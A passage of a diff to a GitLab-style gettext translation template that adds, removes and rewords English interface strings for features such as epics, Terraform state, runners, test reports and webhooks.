+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21522,6 +22021,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21837,6 +22339,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21990,6 +22495,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -22073,9 +22581,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22150,6 +22655,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22177,9 +22685,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22384,9 +22889,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22402,15 +22904,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22489,6 +22988,14 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22521,6 +23028,11 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22572,6 +23084,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22602,12 +23117,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22635,6 +23156,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22668,10 +23192,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22789,12 +23313,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22921,6 +23451,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22959,6 +23492,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22979,6 +23515,9 @@ msgstr[1] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -23048,6 +23587,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -23111,12 +23653,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23144,9 +23680,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23249,12 +23782,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23273,7 +23800,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23330,15 +23857,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23441,6 +23962,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23480,9 +24004,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23562,6 +24083,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23748,6 +24272,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23912,6 +24439,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -24029,9 +24562,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24374,12 +24904,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24422,21 +24946,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24455,6 +24988,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24551,9 +25087,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24608,13 +25141,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24643,6 +25179,9 @@ msgid_plural "Showing %d events"
msgstr[0] ""
msgstr[1] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24738,10 +25277,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24792,6 +25334,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24903,9 +25448,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24951,7 +25493,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -25032,10 +25574,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25317,10 +25862,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25344,6 +25889,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25461,9 +26009,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25623,6 +26168,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25791,6 +26348,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25800,6 +26360,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25848,6 +26411,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -26022,6 +26588,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26190,9 +26759,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26232,6 +26798,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26242,24 +26811,48 @@ msgid_plural "Terraform|%{number} Terraform reports were generated in your pipel
msgstr[0] ""
msgstr[1] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26280,6 +26873,12 @@ msgstr[1] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26307,6 +26906,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26337,6 +26939,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26432,9 +27037,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26444,10 +27046,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26516,9 +27118,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26560,6 +27159,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26608,6 +27210,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26653,6 +27261,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26764,6 +27375,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26773,7 +27387,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26785,9 +27399,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26803,6 +27414,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26890,6 +27504,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27205,9 +27822,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27217,9 +27831,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27262,6 +27873,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27325,7 +27939,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27334,9 +27948,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27451,7 +28062,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27472,9 +28083,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27553,6 +28161,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27598,6 +28209,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27898,6 +28512,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27914,6 +28531,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -28049,7 +28669,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -28148,6 +28768,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28490,6 +29113,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28556,7 +29182,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28628,10 +29254,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
msgid "Unreachable"
@@ -28826,9 +29452,6 @@ msgstr ""
msgid "Upgrade your plan to improve Merge Requests."
msgstr ""
-msgid "Upload %{code_open}GoogleCodeProjectHosting.json%{code_close} here:"
-msgstr ""
-
msgid "Upload CSV file"
msgstr ""
@@ -28847,6 +29470,9 @@ msgstr ""
msgid "Upload a private key for your certificate"
msgstr ""
+msgid "Upload an image"
+msgstr ""
+
msgid "Upload file"
msgstr ""
@@ -28883,6 +29509,9 @@ msgstr ""
msgid "Usage"
msgstr ""
+msgid "Usage Trends"
+msgstr ""
+
msgid "Usage ping is off"
msgstr ""
@@ -28973,6 +29602,9 @@ msgstr ""
msgid "UsageQuota|Unlimited"
msgstr ""
+msgid "UsageQuota|Uploads"
+msgstr ""
+
msgid "UsageQuota|Usage"
msgstr ""
@@ -29120,6 +29752,12 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} (Busy)"
+msgstr ""
+
+msgid "UserAvailability|(Busy)"
+msgstr ""
+
msgid "UserLists|Add"
msgstr ""
@@ -29177,6 +29815,9 @@ msgstr ""
msgid "UserList|created %{timeago}"
msgstr ""
+msgid "UserProfile|(Busy)"
+msgstr ""
+
msgid "UserProfile|Activity"
msgstr ""
@@ -29222,6 +29863,9 @@ msgstr ""
msgid "UserProfile|Report abuse"
msgstr ""
+msgid "UserProfile|Retry"
+msgstr ""
+
msgid "UserProfile|Snippets"
msgstr ""
@@ -29252,6 +29896,9 @@ msgstr ""
msgid "UserProfile|This user is blocked"
msgstr ""
+msgid "UserProfile|Unconfirmed user"
+msgstr ""
+
msgid "UserProfile|View all"
msgstr ""
@@ -29288,6 +29935,9 @@ msgstr ""
msgid "Username or email"
msgstr ""
+msgid "Username: %{username}"
+msgstr ""
+
msgid "Users"
msgstr ""
@@ -29330,15 +29980,15 @@ msgstr ""
msgid "UsersSelect|Unassigned"
msgstr ""
-msgid "Using %{codeStart}needs%{codeEnd} allows jobs to run before their stage is reached, as soon as their individual dependencies are met, which speeds up your pipelines."
-msgstr ""
-
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
msgstr ""
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr ""
+msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
+msgstr ""
+
msgid "Valid from"
msgstr ""
@@ -29408,7 +30058,7 @@ msgstr ""
msgid "Various settings that affect GitLab performance."
msgstr ""
-msgid "Verification capacity"
+msgid "Verification concurrency limit"
msgstr ""
msgid "Verification information"
@@ -29487,6 +30137,9 @@ msgstr ""
msgid "View file @ %{commitSha}"
msgstr ""
+msgid "View file @%{commit_sha}"
+msgstr ""
+
msgid "View full dashboard"
msgstr ""
@@ -29544,6 +30197,9 @@ msgstr ""
msgid "View replaced file @ "
msgstr ""
+msgid "View setting"
+msgstr ""
+
msgid "View supported languages and frameworks"
msgstr ""
@@ -29637,9 +30293,6 @@ msgstr ""
msgid "VisualReviewApp|Steps 1 and 2 (and sometimes 3) are performed once by the developer before requesting feedback. Steps 3 (if necessary), 4 is performed by the reviewer each time they perform a review."
msgstr ""
-msgid "Visualization"
-msgstr ""
-
msgid "Vulnerabilities"
msgstr ""
@@ -29745,6 +30398,12 @@ msgstr ""
msgid "Vulnerability|Activity"
msgstr ""
+msgid "Vulnerability|Actual received response is the one received when this fault was detected"
+msgstr ""
+
+msgid "Vulnerability|Additional Info"
+msgstr ""
+
msgid "Vulnerability|Class"
msgstr ""
@@ -29793,10 +30452,7 @@ msgstr ""
msgid "Vulnerability|Project"
msgstr ""
-msgid "Vulnerability|Request"
-msgstr ""
-
-msgid "Vulnerability|Response"
+msgid "Vulnerability|Request/Response"
msgstr ""
msgid "Vulnerability|Scanner"
@@ -29811,6 +30467,9 @@ msgstr ""
msgid "Vulnerability|Status"
msgstr ""
+msgid "Vulnerability|The unmodified response is the original response that had no mutations done to the request"
+msgstr ""
+
msgid "Wait for the file to load to copy its contents"
msgstr ""
@@ -29835,6 +30494,9 @@ msgstr ""
msgid "We are currently unable to fetch data for this graph."
msgstr ""
+msgid "We are currently unable to fetch data for this pipeline."
+msgstr ""
+
msgid "We could not determine the path to remove the epic"
msgstr ""
@@ -29964,6 +30626,9 @@ msgstr ""
msgid "Webhooks|Push events"
msgstr ""
+msgid "Webhooks|Releases events"
+msgstr ""
+
msgid "Webhooks|SSL verification"
msgstr ""
@@ -29979,6 +30644,9 @@ msgstr ""
msgid "Webhooks|This URL is triggered when a feature flag is turned on or off"
msgstr ""
+msgid "Webhooks|This URL is triggered when a release is created/updated"
+msgstr ""
+
msgid "Webhooks|This URL will be triggered by a push to the repository"
msgstr ""
@@ -30060,12 +30728,18 @@ msgstr ""
msgid "What is squashing?"
msgstr ""
+msgid "What is your job title? (optional)"
+msgstr ""
+
msgid "What's new at GitLab"
msgstr ""
msgid "What’s your experience level?"
msgstr ""
+msgid "When Kroki is enabled, GitLab sends diagrams to an instance of Kroki to display them as images. You can use the free public cloud instance %{kroki_public_url} or you can %{install_link} on your own infrastructure. Once you've installed Kroki, make sure to update the server URL to point to your instance."
+msgstr ""
+
msgid "When a deployment job is successful, skip older deployment jobs that are still pending"
msgstr ""
@@ -30122,7 +30796,13 @@ msgstr ""
msgid "Wiki"
msgstr ""
